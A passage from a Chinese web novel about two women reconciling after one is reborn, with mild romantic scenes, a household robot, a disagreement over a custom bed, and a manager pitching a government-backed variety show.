黎数目光在沈凝雪的睡脸和裘夏的脸上来回转了几次,迟钝的大脑终于消化了一个事情—— 黎数压低声音:“你一直嚷嚷喊得老婆是沈总?!” “当然。”裘夏说话间走到了门口,“不然还能是谁?” 直到裘夏离开房间,陆嵬关了门后又重新回来,黎数还处在震惊当中。 黎数震惊的说:“怎么她们两个一丁点消息都没有?!” 提起这件事情陆嵬脸色也不好看:“因为我和凝雪姐是亲姐妹,姓裘的一开始就说用我转移视线,可以给她和凝雪姐打掩护,一方面也好做话题。一是豪门双姝、台前的全冠影后,幕后的天才导演搭配吸睛,二是姊妹情深的戏码经久不衰,三是我们俩也不怕炒作,再亲密都没问题,反正我们是亲姐妹,一切都理所当然。” 黎数脸色有点怅然。 “我当时就说不行。”陆嵬咬牙:“但是我和凝雪姐的新闻莫名其妙的还是被打出去了。” “是一个职业爆料的狗仔,连钱都没要就发了。当时我一心想把你藏住,不让顾宗年把注意打到你身上,就默认她这样了,但是话题度一直控制的很好,谁看了都以为是好朋友。” 陆嵬提起这件旧事也是无奈更多:“没想到让你也误会了。” 黎数绷着脸:“谁让你不长嘴。” 陆嵬低眉顺眼的认错,任打任骂一个字都不还口。 黎数说完也觉得自己没理,她当年也没长嘴。 可除非是带着现在的记忆重新回到过去,否则就依她当初的情况,那张嘴也不可能长得开。 “算了。”黎数揉揉陆嵬的脸,“我也没什么资格说你。” 黎数又亲亲她,又哄人,“宝贝儿,以后开始学着沟通,行不行?” 陆嵬哪还能说出来一个‘不’字,红着耳朵点头,反客为主的在黎数眼尾那颗泪痣上啄了一口。 黎数缓缓笑了,揉着陆嵬的耳垂,任由陆嵬垂着眼一点点吻她。 她很喜欢看陆嵬这种沉迷于她、而不是沉迷于性的眼神。 “喜欢我喊你宝贝。”黎数用的是陈述句,拇指和食指松松垮垮的掐着陆嵬的脖子,不怎么用力的向上抬了抬,去吻她的唇,其余几根手指在她下巴上轻轻骚动,低声说:“还有谁这么喊过你?” 陆嵬做了几下吞咽的动作,呼吸滚烫而炽热:“没有人了……” 黎数漫不经心的说:“是吗?沈总呢?” “她也没有。”陆嵬往前爬两步,由上而下的直直的看着黎数的双眼,没有直接行动,而是恳求似的先询问:“想亲你,可以吗?” “之前怎么没见你这么礼貌?”黎数没说同意,也没说拒绝,笑着说:“她喊你什么?” 陆嵬和她对视片刻,把头埋在她胸口,声音传出来闷闷的:“她高兴了喊我陆嵬小嵬。” 黎数眨眨眼,“生气的时候呢?” 陆嵬的声音有点委屈,“你小时候被人起过外号吗?你一定要我说出来吗?” 黎数摸摸陆嵬的脸,眼尾弯了片刻,实在是没忍住,一把掀翻了身上的陆嵬,把头埋在了枕头里狂笑。 陆嵬压在黎数身上,双手掐着她单薄的肩背,恼羞成怒的喊:“黎数!” 被陆嵬翻过来的时候,黎数笑的眼泪都差点流出来。 陆嵬也没生气的意思,早就不是小孩,也过了被叫外号就愤怒、生气的阶段了。 但黎数这个样子,陆嵬又觉得好笑又觉得羞恼,忍着笑着说:“我生气了。” 黎数笑的眼尾飞红,明知道陆嵬只是拿乔,但还是忍着笑,手安抚似的在陆嵬腰上捏了捏,一边笑一边说:“那我知道错了。” 陆嵬瞪她一眼,一双眼水波荡漾,欲语还羞。 黎数的心简直软成了一汪水,一个用力,拉着陆嵬的手让她倾下身体,又一只手轻轻按着她的后脑勺吻了上去。 陆嵬睫毛颤动两下,闭上了眼睛。 太久没接过吻,早就生疏了,不被带动的时连呼吸都不会了。 但黎数没有,带动着陆嵬一起越吻越深。 唇瓣轻触又分离,黎数停下来,看着陆嵬被润的鲜红透亮的唇,哑声说:“外号不好听,那以后姐姐叫你小鬼呢?” 陆嵬眼神有些发痴,盯着黎数说话时张合的嘴唇,被蛊惑般低下头,牙齿轻咬在上面,掂量着力气,拿捏着尺度,像是在品尝一块最鲜美的软糖。 黎数沉沉的笑了。 过了会,她轻轻拍拍陆嵬的腰,轻声说:“别再亲了,再亲今晚又回不去了。” 陆嵬不愿起来,被黎数一手掀翻在床上的时候还没缓过神,像喝醉似的,轻飘飘、晕乎乎的紧盯着黎数看。 黎数已经开始准备收拾行李,见陆嵬这个样子,忽然想起陆嵬二十七岁了。 可能确实是到了很渴望、也不知节制的年纪。 黎数又跪在床上,和她靠的很近,见陆嵬始终眼神都有些迷离的模样,笑了笑说:“回去以后收拾收拾,还是你想跟我分居?” 陆嵬意识回笼,晕晕糊糊的接话:“二楼的床只有一米五。” 黎数重新起身,回了一句:“睡觉足够。” “不够翻滚。”陆嵬说。 黎数轻笑,“宾馆的床也是一米五。” 陆嵬还是不甘心,“可以拼起来。” 黎数这次放下了手里的衣服,脚下一个用力,床脚登时被挪出去十几公分。 黎数站在床边,手上的动作继续,很无辜的说:“我怕掉下去弄疼你。” 陆嵬这次盯了她半晌,终于认命般的起身,挫败的去到了衣柜前,从柜子里拿出了一条贴身内衣,说:“我去洗个澡。” 黎数一怔。 陆嵬转过身,手里柔软的衣料在她指缝间搓了下,考虑了不过两秒的功夫,又从大床边越过去,走到了黎数面前。 “我想穿你的。”不等黎数说什么,陆嵬又说:“但是现在穿不下,以前的又都在鸿景苑,没带出来。” 黎数挑眉,勾着一条小边拎起来:“只亲了一会,陆总,这两年你没有用过手吗?我以前给你买过的玩具也不少啊。” 陆嵬摇头。 然后她倾身抱住黎数,很轻的嗅着黎数身上的气味,低声说:“姐姐,我想起一件没有告诉过你的事情。” 黎数正经了点,微微侧过头,“什么?” 陆嵬垂着眼,“你听了不要害怕。” 黎数皱了皱眉,“你说。” 陆嵬这才轻声说:“你知道的,我生病了,曾经生过很严重的病。” 黎数猜测着陆嵬可能是重度抑郁。 这种精神类疾病现在已经屡见不鲜,曾经她有一个圈内好友,阳光、开朗、乐观,前一天还在快乐的聚餐,还发了合照,甚至唱了K,但第二天午夜,就这么悄无声息的去了。 她镇定着,说:“你的病原是我,我还在,宝贝,以后我们一起,我陪你去看病、吃药,你不用担心,也不用害怕。” 陆嵬很轻的应了一声,嘴唇在黎数的脖子上缓缓挪动,力道像是蜻蜓点水。 黎数察觉到一处处的滚烫湿润,亲完一个地方,陆嵬就会换下一个,接连成线,上一处触及到空气变得冰凉。 陆嵬没种草莓,怕黎数觉得疼。 只轻轻舔了几下轻啄,说道:“其实已经好了,但是伴随的相互关联的另外一个疾病到现在都没好,还越来越重了。” 黎数从没见过陆嵬情绪失控的模样,甚至最多看到的,是她刻意控制之下的冷漠和拼尽全力的自持。 闻言心里的担忧席卷而来,生怕陆嵬说的是更严重的疾病。 但奈何她对精神疾病实在了解不深,只知道抑郁症在所有精神疾病当中尚且算是可以治疗痊愈的其中之一,更严重的万一发展成精神分裂等等,那甚至是得上报控制中心的,会被人们当成广义上的‘精神病患者对待’。 陆嵬这么骄傲的一个人,她怎么受得了。 黎数连声问她,声音都放轻了,急切的别开脸:“是什么?没关系,你说出来,我们可以一起面……” “性|瘾。”陆嵬低喃着说。 黎数登时愣住了。 她第一反应是陆嵬在耍她。 但又担心这是真的怎么办。 只听名字也能知道这个病具体是什么意思,黎数还是选择了相信,但脸上又还是充满着好奇和疑惑以及不解,毕竟这病实在是太陌生了。 “抑郁并发性|瘾……?” 黎数觉得问题有点太超过了,“抑郁?” 又重复:“并发性|瘾?” 陆嵬见黎数这个反应,不知道为什么,居然笑了出来。 她很可怜的点点头,垂着眼皮,藏住眼里那一分狡黠和安心,压低嗓子,惆怅又哀伤的说:“我抽的不是烟,是我姨姥姥找中药局的人给我配置的草药,但因为发售量不多,制作工序也麻烦,目前还没有正式上市。” 黎数恍惚想起陆嵬抽的那包装特殊、没什么烟味,反而总是夹杂着一丝草木药香的烟,一时愣住了。 她怪自己粗心,为什么没早一点询问。 黎数轻声问:“那个烟是能治疗还是……?” “只能压制。”陆嵬牵引着黎数的手放在自己的腰上,让她的掌心顺着贴到自己小腹,低喃着说:“越压制就会越不满足,越不满足就会越痛苦,越痛苦就越期待,然后形成循环共生的关系。” 黎数嗓子干涩:“不压抑呢?” 陆嵬望着她,“不控制,就会刺激做很多次,因为只能靠这个获取快乐,所以会上瘾,一旦成瘾,也会进入恶性循环,虽然我的程度很轻,但是……” 黎数被陆嵬带进去了,下意识问她:“那怎么办?” 陆嵬说:“满足我。” 陆嵬说完这句话,又在黎数的唇上吻了一下,这次真的进了浴室。 很快水声传来,黎数想起刚刚陆嵬情动的模样,她知道那是真的。 黎数把目光望向了521,忽然想起什么,说道:“521,给我科普一下‘性|瘾’。” 刚刚就关机的521被黎数的声纹唤醒,开机后,521顶着一张通红的屏幕一起帮忙收拾,一边小嘴嘚吧嘚的给黎数播报着:“抑郁症患者会因为神经质传递异常的因素,导致情绪低落、快|感缺失,进行|性|行|为会刺激多巴胺分泌带来快乐,但事后会加重抑郁和自我否定、厌恶情绪等。” 黎数心里一沉。 “绝大部分成瘾|性|患者进行频繁的性|行|为是为了填补内心的空虚,但陆嵬选择了药物压制,据我所知已经强压了两年,长久下去确实是不太好喔。” 黎数下意识的问:“那,就按照她说的,满足她?” 黎数又有了新的担忧:“但万一成瘾怎么办?” 521小手伸出,食指轻轻摇晃:“心理上的满足也是满足,你听她瞎掰呢。” 521叉腰噘嘴:“你都回来了,她还有什么不满足的,现在不满足的是我!可恶的陆嵬,天天跟我抢主人!” 黎数揉揉521的脑袋,先哄了句,“你在我心里也是不可替代的。” 然后思考了片刻,缓缓点头说:“我大概知道怎么办了。521,谢谢科普。” 521脸红红的,屏幕上绽开给黎数送的小花,又调出来了相关的论文和临床资料给黎数整理完毕,发到了黎数的微信上。 黎数阅读速度极快,照单全收,几乎拿出了背台词的专心去看那一篇篇晦涩难懂、间或充斥着大面积英文高级词汇的论文。 看了一会,黎数冲521说:“谢谢521。” 521快乐的摇晃小尾巴,“不客气主人。” 第65章 第六十五章【VIP】 因为黎数没走成,晚上熟悉的部门小聚了一场,算是给黎数的杀青宴。 宴上送出去了不少准备的礼物,但很多人碍于工作没办法赶来,黎数不想让寒暄耽误太久,就拜托521去当了小信使。 答应给521的报酬是一套报童的定制COS服,陆嵬又答应521在家里给它单独打造一个衣帽间- 第二天一早,陆嵬先一步下去办退房手续,黎数在后面牵着521和元宝,把东西往楼下拿。 陆嵬和春风已经各自先送下去了一趟,房管也给了推车,剩余的东西不算多。 521目光闪闪,手里推着属于自已的儿童行李箱,比它自已还要高上半个头。 仰着头奶声奶气的问黎数,说:“主人,你以后是不是要和陆嵬结婚呀?” 黎数牵着521的手,悄无声息的走在这条并不算多长、走廊里铺设着地毯的路上,忽然轻声说:“521,我告诉你一个秘密。” 521眨巴眨巴眼睛,“我超级无敌保密!” 黎数蹲下|身,和521方圆圆的小屏幕对视,但想了想,还是说道:“我其实很早以前就想和她求婚的,虽然没办法拿证,但戒指是准备好了的。” 521屏幕炸出一朵朵花花,致力于促成这桩婚事,以便于把黎数和陆嵬更稳定且长久的绑定在一起,坚决不要做没妈的机器人。 “那为什么没有结婚呢?” 黎数默默它的头:“因为戒指不见了。” 521又问:“再买一个要很贵吗?需要攒很久的钱吗?我可以用陆嵬的卡给你买吗?” “不可以。”黎数笑了笑:“有点贵,不过不会太久的,明年春节档《秘宝》上映后,我的工作多起来,就可以攒到更多钱了。” 521先是‘哇’了一声,又问:“那你们以后会有一个小宝宝吗?我听查查博士说已经研发出了相关产品,不过需要递交的资料和财产证明比较多,但你不要担心,有我在,你一定可以申请下来的,我可是最先进的机器人。” “还没想这么远的事情。”黎数好笑,点点521头发上会震动的蝴蝶发夹:“再说了,你忘记了吗,我今年才……” 她不知道521能不能理解‘重生’这个定义,想了想说道:“才刚刚十八岁。” 521只能满怀遗憾的说:“好吧。我刚想告诉你我熟知并且精通儿童教育心理学,我可以帮助你们带孩子遛娃辅导功课,我超级无敌有用的。” “确实是。即便是不需要带孩子,对我而言,你也是独一份的。”黎数弯着眼睛笑笑,“先上车,马上就可以回家了。” 配角杀青后也没多大多隆重的仪式,一个是剧组所有工作都全部进入了收尾期,一个就是黎数现在不红。 和林辰星相似,都只是在楼下跟相熟部门的一些朋友们喝了场酒,在走前给大家送了礼物……但黎数也是第一次动用了陆嵬给她的那张副卡。 副卡不限额,黎数一晚上刷掉了三万,虽然是必要开销,但还是因为现在的贫穷叹了口气。 可耐不住剧组人实在是太多,分部门、分喜好,价格也要差不多,要不是有521帮忙参考收集,这些工作真的很难完成。 陆嵬对此表达了一万分个不满意:“这不是应该是裘夏的活吗?她这个经纪人怎么当的?” 黎数刚领完了最后一笔片酬,但数额不多,到手里也就只能算个比较富裕的零花钱——养自已的话,省吃俭用可以过三个月,养陆嵬的话,很可能一周就没了。 闻言她暂时放下手机,抚了抚陆嵬的手臂,说:“你表姐因为你的事情,吃了一上午螺丝。” 陆嵬默默看着她。 黎数说:“费导虽然没骂她,但是一定也很不解,这种问题在她身上从没出现过,而且她也没有任何人能倾诉,状态再不好都只能忍下来,觉都没睡,看了一夜的资料,收工以后又马上来找你了。” 同为演员,黎数能感同身受的体会沈凝雪这两天的煎熬。 走到她那种地位的演员,在片场连续NG,合作过数次的导演虽然没骂人,但脸上和眼底肯定都写满了失望和不解,无声的指责更让人煎熬。 陆嵬稍稍低下了头。 黎数又抬着她的下巴,让她把头抬起来,“我也是刚知道裘总和沈总是一对。这种情况下,裘总肯定也心疼沈总,总不能再麻烦她去准备这些琐碎的事情吧?何况我还有521帮忙。” 黎*数捏着她的尖下巴轻轻晃晃,又小声,这个时候要是黎余因为小事来找我,。” 陆嵬被黎,挪了挪脑袋,用嘴亲了下黎数的手指,无声笑了笑。 过了会她才低声说:“我就是随,裘夏去做也就是吩咐底下的人去买,买回来以队主创,何必你这么费劲,走之前又熬了一夜。” 黎数昨晚上偷行动的,忙活到四点多她睡醒发现,黎数手上都还有一半的东西没写完。 黎数熬夜成了习惯,年轻的身体让她有了放肆挥霍的本钱,闻言说:“我知道你是担心我。乖乖。” 陆嵬改坐为躺,枕在黎数的怀里,过了会忽然说:“我看到你让521买了指套。” 黎数镇定自若的看着手机,她刚给裘夏发了消息,但裘夏还没回。 她盘算着后面要和裘夏沟通一下后续的工作情况。 虽然现阶段大多数工作,到最后可能都是要靠寰宇和裘夏去卖面子,才能一个上镜和露脸的机会,又或是干脆就上寰宇自家旗下的节目。 不过结果也都一样,可能没钱。 因为现阶段她并不能给节目带来什么,而是要靠节目去反哺她的。 黎数也清楚自已的性格不是很能玩梗的乐子人,搞笑综艺她不合适,因为没什么笑点,过往的经验虽然可以参考,但是诸多复杂原因下,也不能用同一套方法再去复刻。 但裘夏那边说已经有了工作安排,陆嵬和她正在争取。 什么工作机会需要裘夏和陆嵬两个人一起去争取的? 听到陆嵬冷不丁问这件事情,黎数静了两秒,才说:“嗯,怎么了?” 陆嵬摇摇头,心想自已小心翼翼这么久,亲吻都担心让黎数冒犯,黎数却一点都不在意,好像什么都没发生过一样。 陆嵬镇定的说:“怎么不给我也买一套,我的尺寸你是知道的。” 黎数的脸可疑的红了红,一手遮住了陆嵬的眼睛。 感受着陆嵬长长的睫毛在她掌心轻轻骚动,低声说:“我买我的,你买你的。” 车又开了一会,黎数又说:“反正都是要用。”- 回到紫檀后,黎数才发现有不少工人正抬着大大小小的箱子和垃圾往外走,张姐正在和他们结算着工钱。 房车就停在门口的车位上,黎数把行李箱都放在了院子里,还没离开的工人顺手帮她们把行李抬到了一楼入户门,黎数道过谢后,让521去送客。 521一手牵着一个师傅往门外送,全女的安装队伍面对521这样的萌物直呼受不了,521全年龄段通吃,在外面开展起了自已的社交手段,顺带和工人们交换了电话社交方式以及合照。 陆嵬没有去收拾行李的想法,到紫檀这会已经中午了,早上就没怎么吃,这会饿的够呛,“楼上都收拾好了?” 张姐是提前回来的,黎数杀青的那天她就离组了,这两天黎数都没见过她。 张姐笑着说:“都收拾完了,刚刚的是最后一个大件,特意交代过,除了甲醛以后才送来的。” 张姐看着在门口争相和521握手、摸脸的团队们,忍不住感叹:“价格公道、干活也快,还讲卫生,陆总,你扶持的这个项目真好啊。” 陆嵬‘嗯’了声,看了眼那边,笑了笑说:“是她们自已厉害,没有被困于自身。” 像是想起了自已的女儿,张姐眼眶有些释然,但很快说:“快去吃饭吧,周姐老早就盼着你们回来了。” 陆嵬这才和黎数一起去洗了手,然后在桌前落座。 黎数听到现在,才问了句:“二楼还是三楼有整改吗?” 陆嵬看她一眼,轻轻说:“不是说床小吗?我把你房间的那张床换了。” 黎数了然了,“买了多大的?” 她的房子是跟陆嵬住在一起之前就买了的,最后挑软装的时候陆嵬跟她一起的。 房间的床是一米八的,其实已经够用,就是偶尔还会觉得能再大一点点可能会比较好——尤其是吵架以后。 但二楼的房间是一张一米二的小床,黎数住进去之前还没有人住过,类似样板床。 陆嵬顿了顿,说:“三米的。” 这个尺寸…… 黎数皱了皱眉,放下手里的筷子,说道:“床上用品都买了吗?” 陆嵬察觉出黎数像是有点生气,迟疑地问:“什么?” 黎数有些无奈:“这么大的床,一般都是定制的吧?很难有适配的床上用品,买回来以后也不能用,我们两个今天要睡地板吗?” 黎数浅浅叹了口气,忍不住脾气:“这个尺寸,以后吵架都不用分房睡了,背对背说话都听不到。” 陆嵬无措的问,“我是哪里做错了吗?” 黎数沉默片刻,摇摇头,说:“我只是希望,这种事情,我们两个可以商量着来。” 黎数看了眼四周说:“但这里毕竟是你家。” 陆嵬抿抿唇,似乎意识到了黎数的火气是从哪里来得了。 她自作主张的把黎数房间的床换成了一个常人难以接受的尺寸,晚上是没办法睡的。 回想起以前,黎数添置东西之前,也会和她商量着来。 更何况今天确实是在没有知会黎数的前提下自以为是的做了这些。 但床已经送来了,总不能再退掉。 陆嵬试图从尺寸上挽救,过了会说:“我等会上去把床拆小一点,多余的部分拿到杂物室做摆放架。” 停了下,又说:“我让张姐盯着换的,除了床以外,房间什么都没变动,团队也是选的很好的,走前连个脚印都没留下。” 黎数怔了怔,气莫名其妙散了,沉吟了会,不再纠结于房间被擅改,顺着话题继续下去:“床还能拆?” 两年间的确一切都在飞速发展,黎数对于床的印象还停留在木床和龙骨床上,偶尔能刷到什么磁悬浮高科技的,但她对这种东西不感兴趣,就没往心里去过。 陆嵬点头,“现在流行可支配多样式的家具方式,床、桌子、椅子之类的都可以拼接拆卸,方便组装搬家,也方便调整大小和高低。” 陆嵬说:“我选了很久。” 陆嵬觉得恍惚,曾经争吵的经历又漫上来,又是熟悉的感觉。 不同的是陆嵬不是从前的陆嵬,自已也不是从前的自已。 不应该再为了一点能解决的小事去争吵,明明才承诺过,但原来行动比承诺难得多。 黎数抿抿唇,认真说:“是我刚刚过激了。” 陆嵬摇摇头,捏着手指:“是我不好,没跟你说就擅自改了你的房间。” “你的房间”这四个字听起来也令人难受,陆嵬不无酸涩,“我以前从没考虑过要和人商量,小时候都是给什么就用什么。以后……我们商量着来。别生气。” 小时候陆嵬那样的生活环境,和寄人篱下也没什么区别。 和自已在一起后也是住在自已家,从没对家居环境提过要求,问什么也都说可以——不是敷衍,她是真的觉得都可以,都能适应。 恐怕紫檀的东西都是家装公司或者裘夏、沈凝雪决定的。 没经历过这些,陆嵬也不知道家里的事情万事都要商量着来,但她也已经做了最大的努力了。 上楼的时候,陆嵬嘴里的食物还没嚼完,鼓着嘴回了个头,问黎数:“——那床要放在几楼?” 黎数被她着小心翼翼的模样弄得心里一酸,干脆也放下了碗筷,和她一起上了楼。 三楼没人,所以没开空调,温度明显比二楼要高一些,一楼则是最凉快的。 黎数刚一走到三楼的楼梯口,就已经决定好了:“就放在二楼吧,也省的挪了。” 陆嵬当然没意见。 二楼她很少踏足,只有之前匆匆一撇,知道黎数并没有去布置这里,像是知道这里只是一个临时住所,准备了随时要离开的意思。 她看着不远处的小储物间,门是锁上的。 里面只有一些黎数跟保洁说过的‘不让动’的行李,陆嵬想破冰,主动开口:“里面是小黎的东西?” 黎数点了点头,推开门带着陆嵬走进去。 她没有去拆开那些属于那个已经逝去的少女的东西,只是说道:“都是一些她生前的小物件,书法字帖比较多,还有一些她自已买的旧衣服。” 冬天的衣服都没几件,在离开一统以后,甚至还全都一个个对着清单被要走了。 陆嵬‘嗯’了声,安静的离开了这个储物间。 卧室的面积已经算极大了,但奈何三米的床实在太霸道。 看到实物的瞬间,陆嵬也知道了黎数生的气是从何而来了,浮现出了显而易见的懊恼。 黎数终于没绷住笑出了声,房间没有被弄得乱七八糟,就像是陆嵬说的那样,干净整洁,团队走后,连个脚印都没留下。 不多时就明白了这个床的简易拆装方法,也懒得再叫人过来了,黎数让521找了点工具来,和陆嵬一起做。 拆卸完了差不多有八十公分左右的距离,黎数拍拍手下的东西,笑着说:“两米二的大小已经很大了,你觉得呢?” “可以。”陆嵬对这些东西一向没什么要求,黎数同意了就好。 黎数拍拍手边的架子:“多余的架子留着干什么?做储物架有点低了。” “给你养花。”陆嵬指了指外面的花园,“你那么喜欢花,以前不就总在遗憾封闭阳台没办法把花养的很好吗?” 黎数心里一动,下意识问:“你是提前想好,拆下来的东西可以做花架的?” 陆嵬点头。 黎数过了会才说:“谢谢。” 陆嵬无声的摇了摇头。 别墅外面是大片的草地。 黎数搓搓手,很心动,但又有这样那样的顾虑。 心情千回百转,黎数声音有点轻,有种羞于对陆嵬开口的年长者的羞涩:“对不起,我今天的情绪不太好。” 陆嵬上前一步,意识到可能是黎数情绪出现躁动,忽然生气的原因,“什么不好意思?” “感觉有点奇怪。”黎数垂下头,有些挫败,也承认了情绪的源头:“像是在被你养着,吃住用的都是你的,昨天还用了你三万。” “这样不好吗?”陆嵬垂下头:“你以前养我,给我发零花钱的时候,难道心里会不高兴吗?” “当然没有。”黎数瞬间说,“但我毕竟比你大这么多。” 陆嵬声音刻意放低,知道自已这种装可怜博取黎数同情的方式不太好,可知道有效果,又刚和黎数有过争吵,她控制不住去这么做:“岁数不能决定一切,我妈比我大了二十多,她也没养过我。不是谁都愿意养我的。” 黎数被她一句话说的心软软,搂着陆嵬的腰,把她按在怀里拍拍,柔声说:“对不起,是我想太多了,都是我的错。” 身份和年龄上的转变一时之间没办法更改,这种现状甚至还要持续好一段时间。 陆嵬说:“那你亲亲我吧。” 黎数哪有不同意的,慢慢的吻上了她的唇角,又含住了她的唇瓣。 陆嵬垂下眼睛,遮住了眼里的光,还是一副柔弱可怜的样子和黎数接吻。 直到双唇分开,黎数看着陆嵬,觉得和当年初遇时也没什么区别。 陆嵬头枕在黎数的肩上,小声说:“不生气了吗?” 黎数无声的摇了摇头,又是一句小声的抱歉。 陆嵬不起来,黎数柔软的发丝触及到脸上,是一阵的柔软和清凉,有一种说不清道不明的依赖和甜香。 她还是老样子,继续压低声音,小声说:“那晚上可以一起睡吗?” 黎数被愧疚和可怜兮兮的陆嵬冲昏了头脑,点头说:“当然可以。” 床最后被拼合成了两米二的长度,两个人并排躺还能再滚一圈。 原来的那张床早就送到了一楼的客卧,黎数问起的时候,陆嵬才随意的说:“留着给裘夏或者春风住吧,万一你以后火了有十个八个助理呢?” “十个八个助理这屋里也塞不下啊,正常人哪用得到这么多。”黎数觉得好笑,又有些好奇,“沈总有几个助理?” 陆嵬想了想说:“分情况,出外场事情多的时候五六个,拍戏的时候固定两三个。” 陆嵬皱眉:“你怎么总提她?” 黎数实话实说:“因为她真的很优秀。” 陆嵬说:“崇拜她?” 黎数还是如实说:“没有人能不崇拜她。” “我就不。”陆嵬刻意的说:“她对我动手的样子不是看到了吗?” 黎数盯着陆嵬,莞尔笑了:“好,那我以后不崇拜她了。” 陆嵬刻意想让刚刚的事情翻篇,用黎数说过的话连声问:“你买过她的海报吗?要过她的亲签吗?有跟她合过影吗?钱包里有偷偷塞她照片吗?” 黎数绷不住了:“我神经病啊在钱包里塞照片!” 真的塞了照片的陆嵬没有‘神经病’的自觉,“那就好。” 为了转移注意力似的,黎数回头看了眼拆出来的那一小部分骨架,将其挪到了阳台上,有点遗憾的说:“可惜家里的花都死了。” 陆嵬被一句话拉回来,低声说:“对不起,我当时没顾得上。” 黎数摸了摸她的头,“是花太娇贵,又是冬天,跟你没关系。” 陆嵬是知道黎数多喜欢养花的。 她最后一次回鸿景苑时,一整个阳台都是枯死的花,叶片、枯枝、干花瓣凋零了一地,还有被元宝糟蹋过的多肉残破的尸体。 “那以后我帮你一起养。”陆嵬说:“以后你出去拍戏,我可以天天给你的多肉浇水。” 黎数:“……没事,不用。太辛苦你了。” 陆嵬疑惑:“不辛苦,怎么会辛苦?我每天也要回家吃饭,院子里就有龙头,打开以后浇个水而已。” 黎数叹了口气,捧住陆嵬的脸,把她脸上的肉往中间挤压,看着她嘴巴嘟起来,这才笑着说:“多肉耐旱不喜水。你这么浇它,只会把它弄死。” “哦。”陆嵬小顺势提了要求,试探性的说:“那你再亲亲我,我以后就不给你多肉浇水。” “差不多行了。”黎数憋着笑走了。 陆嵬和不知道什么时候摸进来的元宝对视片刻,蹲下,和它远距离打招呼。 “能和好吗?”陆嵬伸出一只手:“同意的话来握握手手。” 元宝一屁股坐下。 陆嵬又收回手,笑了笑说:“起码这次没攻击我,不和好也没关系。反正你和我,甚至521,都把她等回来了。”- 下午时间比较空闲,黎数坐在一楼的沙发上百无聊赖的刷着手机。 在剧组的时候没敢多看,一个是担心影响情绪,也是担心会被状态左右。 她漫无目的的用小号搜了搜以前认识的朋友、同事,但其实微博作为一个类似用来通知和宣传的社交平台,也没什么过多的东西,能找到的都是比较久以前的内容了。 正看着上辈子的经纪人曲心然发的那条怀念她的微博,陆嵬洗完澡下来了。 下午的不愉快很快翻篇,陆嵬觉得小小的争吵过后,反而让她和黎数都意识到了要怎么相处。 陆嵬湿着头发,手上拿着吹风机,走到她身边:“帮我吹?” 黎数伸手接过,开了最小的风。 一边慢慢的向下顺着陆嵬的发丝,一边轻声说:“有没有什么药可以养养头发?” 想起陆嵬很在意发色的问题,黎数说:“一直染头发也不好,你这样,我看着心疼。” 陆嵬摇了摇头,“可能心事了了,养个两年,自然就好了吧。” 黎数弓着身体吻了她一下。 陆嵬手里摸到了手机,还以为是自已的。 她送黎数的和自已的是情侣款,只颜色不同,但手机壳也是同样的原装透明壳。 拿到眼前才发现是黎数的,不免就看到了黎数在看的那条怀念信息。 两人提起曲心然已经有一段时间了,黎数虽然说了不想打扰,但应该也是怀念的吧。 毕竟曲心然也带了她很久。 陆嵬放下手机,说道:“曲心然和原公司也闹掰了。” 黎数有点诧异,“什么?” 陆嵬垂眸说:“太详细的我也不清楚,和裘夏当初出走的情况不一样,曲心然没有再选择加入新公司,而是自已成立了一个小公司,名字叫独一,旗下只有一个两年前靠综艺大火出圈的女爱豆热度比较高,转型的方向是综艺和电视剧,偶尔能在电影里客串一两个镜头刷脸,出镜率算是高的。其他的人小打小闹,热度不高,但也过得去。” 也不知是不是凑巧,陆嵬的话音刚落,一楼的密码锁被从外面打开,裘夏裹挟着夏日的热气进来,满脸喜色的说:“有好事!陆嵬,之前争取的综艺定了,不过有点变动……小黎呢?给你争取了一个救急综艺,名字叫《地球以上》,政|府红标下达的扶持上星综艺,目的是带动经济和落后村,这次的综艺地点在六陇市,为了灾后重建和普及灾害预警和自救……啧,大白天的,你们在干嘛?” 裘夏自已从鞋柜里拿出一双拖鞋,闻了闻,确定没元宝的标记才穿上,一边往里走一边说:“陆嵬是手断了还是瘫痪了?吹个头发还得躺到你腿上?” 陆嵬没动,懒洋洋的说:“嫉妒你就直说。” 裘夏冷笑一声,撸起袖子走过去,杵在她面前:“我老婆不知道对我有多好!” 陆嵬不为所动,“我老婆你知道对我有多好,你不都看见了吗?” 黎数拍拍陆嵬额头:“差不多行了。” 又转向裘夏:“裘总,坐下说吧。” 又忙不迭让521倒茶,刚好陆嵬头发吹干,黎数把吹风机关了,这一刻莫名其妙觉得自已现在像是个幼儿园园长。 第66章 第六十六章【VIP】 裘夏在咖啡和牛奶之间选择了牛奶拌咖啡。 陆嵬不愿意从黎数腿上起来,姿势换成了侧躺,“大晚上的喝咖啡,你不睡觉了?” 她抓着黎数的一只手有一下没一下的玩,时不时的捏捏、亲亲,再放嘴里轻轻咬一下。 裘夏看着她这幅样子很无语,觉得陆嵬像是只贴着主人的狗。 裘夏强调:“这才刚刚七点。” 陆嵬神色不动,“寰宇五点半下班,六点在食堂吃完饭,七点到家洗漱完毕,抱着老婆上床睡觉刚刚好。” “我五点半下班的时间屈指可数!我老婆还有几年才打算退休。”裘夏:“你信不信我把这杯咖啡泼你脸上。” 陆嵬很危险的眯眯眼:“十八万。” 裘夏骂骂咧咧把咖啡重新放下,“你这地毯不是找人清干净了吗,又没全坏!” 陆嵬瞬间改口:“行,清理费一万八。” “?我给你舔干净都用不了一万八!”裘夏震惊的望向黎数:“你也管管她啊!” 黎数捏捏陆嵬的嘴。 陆嵬的嘴巴被捏的一扁一扁,仰着头看了眼黎数,终于住了嘴,勉强收起毒嘴,没再造次。 每次开启小型会议,陆嵬这边起码一人一猫外带一个机器人,现在又多了个黎数。 裘夏把文件夹打开摊在桌面上,目光看着齐聚在沙发边,自成一线的物种不同的生物,忽然蹦出来了一句:“你们四个要不去考虑拍个小全家福?” 这倒是从前从没考虑过的。 黎数心里一动,低头看了眼陆嵬,但陆嵬似乎对全家福并没有什么感觉,并没有什么表示。 裘夏也只是随口一提,并没有往心里去,耸耸肩,说道:“正好你俩都在,合同都看看吧。这节目真是很不错,起码未来五年内都找不出第二个,我和陆嵬接到消息就在等。” 综艺全名叫《地球以上,人心以内》,由中央组下达红头文件,当地政|府、军队、消防站点、省市医院全线疏通,同时间段上星卫视五台连播,上到导演,下到常驻嘉宾,都要做极其详细的背景调查。 裘夏点了点‘详细背景调查’这六个字,忍不住用拇指在下面掐了一条印出来,抬头时,镜片后的目光一闪:“懂这是什么意思吗?” 黎数点点头。 只要后期不作死,单单是这六个由中央下发的白纸黑字,和这个综艺,加上费鹤鸣的那部《国家秘宝》的电影,几乎可以保她一辈子了。 